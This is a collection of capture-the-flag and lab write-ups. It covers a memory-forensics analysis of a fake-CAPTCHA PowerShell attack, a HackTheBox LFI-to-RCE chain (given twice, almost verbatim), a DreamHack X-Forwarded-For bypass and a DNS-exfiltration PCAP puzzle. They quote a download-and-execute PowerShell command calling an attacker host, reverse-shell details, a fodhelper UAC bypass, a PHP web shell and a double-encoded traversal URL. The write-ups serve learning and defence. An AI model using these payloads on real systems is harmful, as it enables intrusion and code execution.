The victim reported that after browsing and downloading some files, suspicious processes began appearing on the system. Our objective is to reconstruct the attack chain and identify the adversary’s techniques.

[1] MITRE ATT&CK ID for Initial Access (TXXXX.XXX)

Browser history analysis (Firefox) revealed that the user accessed a suspicious internal URL shortly before malicious activity began.

There is no indication of an exploit chain or drive-by download. Instead, the evidence suggests that the victim was socially engineered into clicking a malicious link.

This behavior aligns with:

Phishing via malicious link

MITRE ATT&CK mapping:

Answer: T1566.002

[2] Which link did the victim access? (ASCII)

The final suspicious entry in the browser history shows:

http://192.168.1.11:7331/captcha.html

This appears to be a fake CAPTCHA page used to trick the victim into executing a command.

Answer:

http://192.168.1.11:7331/captcha.html

[3] What command was the victim tricked into executing? (ASCII)

Using the cmdline plugin in Volatility, we examined process command-line arguments and identified a PowerShell process running a base64-encoded payload:

powershell.exe -eC aQB3AHIAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMQAxADoANwAzADMAMQAvAHkALgBwAHMAMQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAB8ACAAaQBlAHgA

After decoding the base64 string:

iwr http://192.168.1.11:7331/y.ps1 -UseBasicParsing | iex

Explanation:

• iwr → Invoke-WebRequest

• Downloads y.ps1

• Pipes output to iex (Invoke-Expression)

• Executes it directly in memory

This is a typical “download-and-execute” technique.

Answer:

powershell.exe -eC aQB3AHIAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMQAxADoANwAzADMAMQAvAHkALgBwAHMAMQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAB8ACAAaQBlAHgA

[4] What URL was used to retrieve the payload and what filename was it saved as?

(http://example.com/script.ext_file.rar)

After dumping the PowerShell process memory (PID 3000), we recovered the executed script content.

The script:

• Downloads update.zip

• Saves it as kqwer.zip in %TEMP%

• Extracts it

• Executes verify.exe

Relevant snippet recovered from memory:

$url1 = "http://192.168.1.11:7331/update.zip"
\(zipPath1 = "\)env:TEMP\kqwer.zip"

Therefore:

• Script URL: http://192.168.1.11:7331/y.ps1

• Saved filename: kqwer.zip

Answer:

http://192.168.1.11:7331/y.ps1_kqwer.zip

[5] MITRE ID and Registry location (TXXXX_Hive\Key)

Process tree analysis showed:

explorer.exe → powershell.exe

This strongly indicates execution via the Windows Run dialog (Win + R).

To confirm, we examined the following registry key:

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

This key stores commands executed via the Run dialog.

The corresponding MITRE technique:

User Execution

Answer:

T1204_HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

[6] Malicious file location and injected process (C:\path\folder\A_processA.ext_1234)

The downloaded archive extracted and executed:

verify.exe

Static analysis using IDA revealed:

• The binary decrypts embedded shellcode using XOR

• Key used:

  6ddLG9a8gc69cf4J0bZrzgGjr9zRMR

• The decrypted shellcode is injected into explorer.exe

Observed process hierarchy:

explorer.exe (PID 6500)
 └── powershell.exe (3000)
      └── verify.exe

Malware location:

C:\Users\imnoob\AppData\Local\Temp\file

Injected process:

explorer.exe (PID 6500)

Answer:

C:\Users\imnoob\AppData\Local\Temp\file_explorer.exe_6500

[7] Attacker IP and PORT inside injected shellcode (IP:PORT)

After decrypting the shellcode and disassembling it, we found:

PUSH 0B01A8C0
PUSH A5FB0002

Converting from little-endian:

C0 A8 01 0B → 192.168.1.11
A5 FB → 64421

This indicates a reverse shell connection.

Answer:

192.168.1.11:64421

[8] Process used for UAC bypass and PPID spoofing (ProcessA.ext_1234)

Further analysis showed:

powershell.exe -ExecutionPolicy Bypass
 → fodhelper.exe

fodhelper.exe is a known auto-elevated binary frequently abused for UAC bypass.

Observed relationship:

powershell.exe (PID 5888)
 └── fodhelper.exe (PID 2964)

This confirms privilege escalation via UAC bypass.

Answer:

fodhelper.exe_5888

Final Flag

W1{conGR4TUIaTi0N5-9OU-Fin4ILy-fOUND-m3!ll10dc}

This lab is from HackTheBox. The objective is to achieve Remote Code Execution (RCE) and retrieve the flag located in the root directory.

The web application is quite simple. It contains three main tabs: Home, Contact, and most importantly, /apply, which allows users to upload an image file.

Recon

After spending some time enumerating the website, I discovered a suspicious endpoint :

/contact.php

I attempted to test for Local File Inclusion (LFI) vulnerabilities by fuzzing parameters with ffuf. Eventually, I found a parameter confirming that the website was vulnerable to LFI.

At that point, I thought the challenge was basically solved.

However, it was not that simple.

I tried using automated exploitation tools like lfisuite, continued fuzzing with ffuf, and manually tested multiple payloads and bypass techniques in an attempt to evade the WAF. Unfortunately, none of them worked.

The filtering mechanism was extremely strict:

• Any occurrence of . or / (typical file inclusion characters) was blocked.

• Sensitive keywords such as /etc/passwd and config were filtered.

I spent around 5–6 hours testing different payload variations but was completely stuck at this stage.

Breakthrough

While taking a break, I asked myself:

Why am I focusing only on that single endpoint?

I went back to the lab and started reviewing the source code more carefully. I tested other endpoints and APIs and eventually discovered a crucial API that completely changed my approach.

I tested LFI on this new parameter — and boom, it worked.

After successfully performing path traversal, I began leaking sensitive files to find something that could lead to RCE. During fuzzing, I discovered an interesting file:

/var/log/nginx/access.log

This indicated that Log Poisoning might be possible.

The idea was simple:

1. Send a request to the web server.

2. Modify the User-Agent header to inject PHP code:

<?php system($_GET["cmd"]); ?>

However, it did not execute. The payload was written into the log file but never interpreted as PHP code. It seemed the developers used a safe function like file_get_contents() instead of include().

So log poisoning was not viable.

Reviewing the Source Code

/api/image.php

<?php
if (isset($_GET["p"])) {
    $path = "../images/" . str_replace("../", "", $_GET["p"]);
    $contents = file_get_contents($path);
    header("Content-Type: image/jpeg");
    echo $contents;
}
?>

This confirmed the LFI vulnerability again. The filtering was weak and not properly implemented.

/api/application.php

<?php
$firstName = $_POST["firstName"];
$lastName = $_POST["lastName"];
$email = $_POST["email"];
$notes = (isset($_POST["notes"])) ? $_POST["notes"] : null;

$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$ext = end((explode(".", $file_name)));
$target_file = "../uploads/" . md5_file($tmp_name) . "." . $ext;
move_uploaded_file($tmp_name, $target_file);

header("Location: /thanks.php?n=" . urlencode($firstName));
?>

This revealed something important:

• Uploaded files are stored in /uploads/

• The filename is hashed using md5_file()

• The original extension is preserved

At this point, the plan became clearer:

1. Upload a PHP shell.

2. Use LFI to trigger it.

However, there was still one missing piece:

We needed a parameter that used include() instead of file_get_contents() in order to gain execution.

And I found it.

Vulnerable region Parameter

<p>
<?php
$region = "AT";
$danger = false;

if (isset($_GET["region"])) {
    if (str_contains($_GET["region"], ".") || str_contains($_GET["region"], "/")) {
        echo "'region' parameter contains invalid character(s)";
        $danger = true;
    } else {
        $region = urldecode($_GET["region"]);
    }
}

if (!$danger) {
    include "./regions/" . $region . ".php";
}
?>

Now everything made sense.

The first parameter I had spent hours on earlier finally became useful.

Understanding the Logic

• If the parameter contains . or /, it gets blocked.

• Otherwise, it is URL-decoded.

• Then it gets passed into include().

So I thought:

What if we double-encode the payload?

If we encode ../ twice:

../ → %2e%2e%2f
Double encode → %252e%252e%252f

The WAF does not detect . or /.

The server:

1. Decodes once via urldecode()

2. Then include() performs another decoding step

This results in successful path traversal.

Final Exploit

1. Upload payload.php

2. Calculate its MD5:

md5sum payload.php
eca599d7d063b4d277b7b14e5efe4a6e  payload.php

1. Trigger execution:

http://94.237.63.176:42783/contact.php?region=%252e%252e%252fuploads%252feca599d7d063b4d277b7b14e5efe4a6e&cmd=id

And RCE was achieved.

Attack Chain Summary

1. Exploit LFI to read sensitive source code

2. Bypass WAF using double URL encoding

3. Upload malicious file

4. Use include() to achieve RCE

Lessons Learned

1. Think in terms of bug chaining, not isolated vulnerabilities.

2. Always explore alternative attack vectors.

3. Think outside the box.

Chaining LFI to RCE – HackTheBox

🧩 Problem

This lab is from HackTheBox. The objective is to achieve Remote Code Execution (RCE) and retrieve the flag located in the root directory.

The web application is simple, containing three main tabs:

• Home

• Contact

• /apply (allows file upload)

The upload functionality immediately caught my attention.

🔎 Recon

During reconnaissance, I discovered a suspicious endpoint:

/contact.php

I fuzzed parameters using ffuf and successfully identified an LFI (Local File Inclusion) vulnerability.

At this point, I thought the challenge was almost solved.

However, things became complicated.

🚧 WAF Restrictions

The application implemented strong filtering:

• Any . or / character was blocked

• Sensitive paths like /etc/passwd were filtered

• Keywords such as config were denied

I attempted:

• Automated tools (lfisuite)

• Further fuzzing with ffuf

• Manual payload crafting

• Encoding variations

Nothing worked.

After spending 5–6 hours, I was completely stuck.

💡 Breakthrough

After taking a break, I reconsidered my approach:

Why am I focusing only on one endpoint?

I began reviewing other APIs and discovered a new interesting endpoint.

After testing it — boom — LFI worked again.

📂 Path Traversal Success

I managed to read sensitive files and eventually discovered:

/var/log/nginx/access.log

This suggested the possibility of Log Poisoning.

🧪 Attempt: Log Poisoning

I injected PHP code into the User-Agent header:

<?php system($_GET["cmd"]); ?>

However, it did not execute.

The log file stored my payload, but the application used file_get_contents() instead of include(), so the code was never interpreted.

Log poisoning failed.

🔍 Source Code Analysis

/api/image.php

<?php
if (isset($_GET["p"])) {
    $path = "../images/" . str_replace("../", "", $_GET["p"]);
    $contents = file_get_contents($path);
    header("Content-Type: image/jpeg");
    echo $contents;
}
?>

This confirmed the LFI vulnerability due to improper sanitization.

/api/application.php

<?php
$firstName = $_POST["firstName"];
$lastName = $_POST["lastName"];
$email = $_POST["email"];
$notes = (isset($_POST["notes"])) ? $_POST["notes"] : null;

$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$ext = end((explode(".", $file_name)));
$target_file = "../uploads/" . md5_file($tmp_name) . "." . $ext;
move_uploaded_file($tmp_name, $target_file);

header("Location: /thanks.php?n=" . urlencode($firstName));
?>

Important observations:

• Uploaded files are stored in /uploads/

• The filename is hashed using md5_file()

• The original extension is preserved

At this stage, the plan was:

1. Upload a PHP web shell

2. Trigger it using LFI

But we still needed a parameter using include() instead of file_get_contents().

🎯 Final Piece – region Parameter

<?php
$region = "AT";
$danger = false;

if (isset($_GET["region"])) {
    if (str_contains($_GET["region"], ".") || str_contains($_GET["region"], "/")) {
        echo "'region' parameter contains invalid character(s)";
        $danger = true;
    } else {
        $region = urldecode($_GET["region"]);
    }
}

if (!$danger) {
    include "./regions/" . $region . ".php";
}
?>

🔎 Analysis

• If . or / appears → blocked

• Otherwise → urldecode() is applied

• Then passed into include()

So I thought:

What if we double-encode the payload?

🧠 Double Encoding Bypass

Normal traversal:

../

URL encoded:

%2e%2e%2f

Double encoded:

%252e%252e%252f

Since %252e does not contain . or /, the WAF does not block it.

Flow:

1. Server decodes once using urldecode()

2. include() processes the decoded path

3. Path traversal succeeds

🚀 Final Exploit

1️⃣ Upload payload.php

Example payload:

<?php system($_GET["cmd"]); ?>

2️⃣ Calculate MD5

md5sum payload.php

Output:

eca599d7d063b4d277b7b14e5efe4a6e

3️⃣ Trigger Execution

http://94.237.63.176:42783/contact.php?region=%252e%252e%252fuploads%252feca599d7d063b4d277b7b14e5efe4a6e&cmd=id

🎉 RCE achieved.

🔗 Attack Chain Summary

1. Exploit LFI to read source code

2. Identify upload functionality

3. Bypass WAF using double encoding

4. Upload malicious PHP file

5. Trigger execution via include()

📚 Lessons Learned

• Think in terms of bug chaining, not isolated vulnerabilities

• Always enumerate all endpoints

• Review source code carefully

• When stuck, take a break and rethink

While practicing some web challenges on DreamHack, I came across a beginner-level challenge called whoami – Level 1.
Although the difficulty is low, this challenge highlights a very common and dangerous mistake in real-world web applications: blindly trusting client-controlled headers.

Challenge Overview

The challenge provides:

• A simple single-page web application

• Two backend API endpoints:

  • /whoami

  • /admin

• The backend source code, written in Express (Node.js)

The objective is straightforward:

Gain admin privileges and retrieve the flag.

At first glance, this looks trivial. However, the interesting part lies in how the backend determines whether a user is an admin or not.

Backend Code Analysis

After reviewing the Express backend source code, one thing immediately stood out:

Admin access is determined based on the client's IP address.

More specifically, the application relies on the value of the X-Forwarded-For HTTP header to identify the requester.

This is a classic red flag in web security.

What Is X-Forwarded-For?

X-Forwarded-For is a non-standard HTTP header commonly used by:

• Reverse proxies (Nginx, HAProxy)

• Load balancers

• CDNs (Cloudflare, AWS ALB, etc.)

Its original purpose is to preserve the original client IP address when requests pass through one or more proxies.

Example:

X-Forwarded-For: 203.0.113.42

With multiple proxies involved:

X-Forwarded-For: 203.0.113.42, 10.0.0.1, 172.16.0.5

By convention:

• The first IP is the original client

• The remaining IPs are intermediate proxies

The Core Issue: Client-Controlled Headers

Here is the critical mistake made by the application:

X-Forwarded-For can be fully controlled by the client.

Any user can manually set this header using tools such as:

• curl

• Burp Suite

• Postman

For example:

curl -H "X-Forwarded-For: 127.0.0.1" https://target/admin

If the backend blindly trusts this header without verifying that the request actually came through a trusted proxy, the access control logic is completely broken.

This type of mistake is frequently exploited to bypass:

• IP-based access control

• Rate limiting

• Geo-restrictions

• Anti-bot mechanisms

Exploitation

In the whoami challenge, exploitation is extremely simple:

1. Send a request to the /admin endpoint

2. Manually set the X-Forwarded-For header to a trusted IP (e.g., 127.0.0.1)

3. The backend assumes the request is from an internal or admin user

4. Admin access is granted

5. The flag is returned

No brute force.
No race condition.
Just a logic flaw caused by misplaced trust.

Retrieved Flag

DH{5c36de0d635aef1f7f3002163e7d9cca005b7fb470c93d68188d48d9f317a017}

Lessons Learned

This challenge reinforces several important security lessons:

1. Never Trust Client-Supplied Headers

Headers such as X-Forwarded-For, X-Real-IP, or custom headers should never be trusted by default.

2. Proxy Awareness Is Essential

X-Forwarded-For should only be used if:

• Requests come from trusted proxy IPs

• The backend explicitly validates the request source

3. Simple Bugs Can Have Serious Impact

Even though this is a Level 1 challenge, the same vulnerability appears frequently in production systems.

Final Thoughts

The whoami challenge is a great reminder that security is often about correct assumptions rather than complex exploits.

If you are developing or auditing web applications, always ask yourself:

“Who controls this data?”

Because if the user controls it — you should never trust it.

Summary problem : I have a PCAP file which contain many DNS capture and two logs file I used the strings command on the PCAP file and noticed many common website here :+1:

As I continue scrolling , I found some suspicious strings :+1:

Press enter or click to view image in full size

I try filter this suspicious by command :

tshark -r 10.10.0.53_ns_capture.pcap -Y 'dns.qry.name contains "hex.cloudflar3.com"' -T fields -e dns.qry.name | uniq This is result :

p.c7aec5d0d81ba8748acac6931e5add6c24b635181443d0b9d2.hex.cloudflar3.com
p.f8aad90d5fc7774c1e7ee451e755831cd02bfaac3204aed8a4.hex.cloudflar3.com
p.3dfec8a22cde4db4463db2c35742062a415441f526daecb59b.hex.cloudflar3.com
p.f6af1ecb8cc9827a259401e850e5e07fdc3c1137f1.hex.cloudflar3.com
f.6837abc6655c12c454abe0ca85a596e98473172829581235dd.hex.cloudflar3.com
f.95380b06bf6dd06b89118b0003ea044700a5f2c4c106c3.hex.cloudflar3.com

I reviewed the access file and logfile to see scan anything relative to hex that i find.

After some time, i finded keyword in the log file :+1:

Press enter or click to view image in full size

Finally , i was able to encode SHA256 hash withAPP-SECREC key , divide it to an aes-key and aes-iv , and them use to decode hex values

Flag :

CSCV2025{DnS_Exf1ltr4ti0nnnnnnnnnnNN!!}